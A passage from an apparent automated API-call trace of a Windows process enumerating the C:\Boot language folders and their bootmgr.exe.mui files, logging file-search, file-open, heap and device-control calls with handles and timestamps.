dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.211] GetLastError () returned 0x12 [0039.211] FindFirstFileExW (in: lpFileName="C:\\Boot\\nl-NL\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459bb8 [0039.212] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0039.212] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.212] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.212] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.212] GetLastError () returned 0x12 [0039.212] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f2e0) returned 1 [0039.212] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0039.212] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f368) returned 1 [0039.212] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0039.212] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0039.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0039.212] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pl-PL" (normalized: "c:\\boot\\pl-pl"), fInfoLevelId=0x0, lpFileInformation=0x17af3ac | out: lpFileInformation=0x17af3ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.212] CreateFileW (lpFileName="C:\\Boot\\pl-PL" (normalized: "c:\\boot\\pl-pl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0039.212] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0039.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xed9690 [0039.212] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xed9690, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0xed9690, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0039.212] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed9690) returned 1 [0039.213] NtClose (Handle=0x134) returned 0x0 [0039.213] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0039.213] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0039.213] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f368 [0039.213] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f2e0 [0039.213] FindFirstFileExW (in: lpFileName="C:\\Boot\\pl-PL\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459bb8 [0039.213] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.213] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.213] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0039.213] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0039.213] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0039.213] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0039.213] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0039.213] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed63a0 [0039.213] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3a00 [0039.213] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0039.213] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.213] GetLastError () returned 0x12 [0039.213] FindFirstFileExW (in: lpFileName="C:\\Boot\\pl-PL\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459b78 [0039.213] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0039.213] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.213] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.213] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.213] GetLastError () returned 0x12 [0039.213] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f2e0) returned 1 [0039.213] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0039.214] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f368) returned 1 [0039.214] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0039.214] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0039.214] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0039.214] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-BR" (normalized: "c:\\boot\\pt-br"), fInfoLevelId=0x0, lpFileInformation=0x17af3ac | out: lpFileInformation=0x17af3ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.270] CreateFileW (lpFileName="C:\\Boot\\pt-BR" (normalized: "c:\\boot\\pt-br"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0039.270] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0039.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xed9690 [0039.270] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xed9690, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0xed9690, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0039.270] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed9690) returned 1 [0039.270] NtClose (Handle=0x16c) returned 0x0 [0039.271] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0039.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0039.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f368 [0039.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f2e0 [0039.271] FindFirstFileExW (in: lpFileName="C:\\Boot\\pt-BR\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459b78 [0039.271] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.271] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0039.271] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0039.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0039.271] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0039.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0039.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed63c0 [0039.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3a88 [0039.271] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0039.271] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.271] GetLastError () returned 0x12 [0039.271] FindFirstFileExW (in: lpFileName="C:\\Boot\\pt-BR\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459bb8 [0039.271] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0039.271] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.271] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.271] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.271] GetLastError () returned 0x12 [0039.271] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f2e0) returned 1 [0039.272] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0039.272] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f368) returned 1 [0039.272] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0039.272] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0039.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0039.272] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-PT" (normalized: "c:\\boot\\pt-pt"), fInfoLevelId=0x0, lpFileInformation=0x17af3ac | out: lpFileInformation=0x17af3ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.272] CreateFileW (lpFileName="C:\\Boot\\pt-PT" (normalized: "c:\\boot\\pt-pt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0039.272] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0039.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xed9690 [0039.272] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xed9690, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0xed9690, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0039.272] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed9690) returned 1 [0039.272] NtClose (Handle=0x134) returned 0x0 [0039.272] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0039.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0039.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f368 [0039.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f2e0 [0039.272] FindFirstFileExW (in: lpFileName="C:\\Boot\\pt-PT\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459bb8 [0039.272] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.272] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0039.273] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0039.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0039.273] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0039.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0039.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed63e0 [0039.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3b10 [0039.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xc0) returned 0xed5990 [0039.273] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30ed90) returned 1 [0039.273] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0039.273] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.273] GetLastError () returned 0x12 [0039.273] FindFirstFileExW (in: lpFileName="C:\\Boot\\pt-PT\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459b78 [0039.273] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0039.273] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.273] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.273] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.273] GetLastError () returned 0x12 [0039.273] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f2e0) returned 1 [0039.273] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0039.273] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f368) returned 1 [0039.273] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0039.273] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0039.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0039.273] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ru-RU" 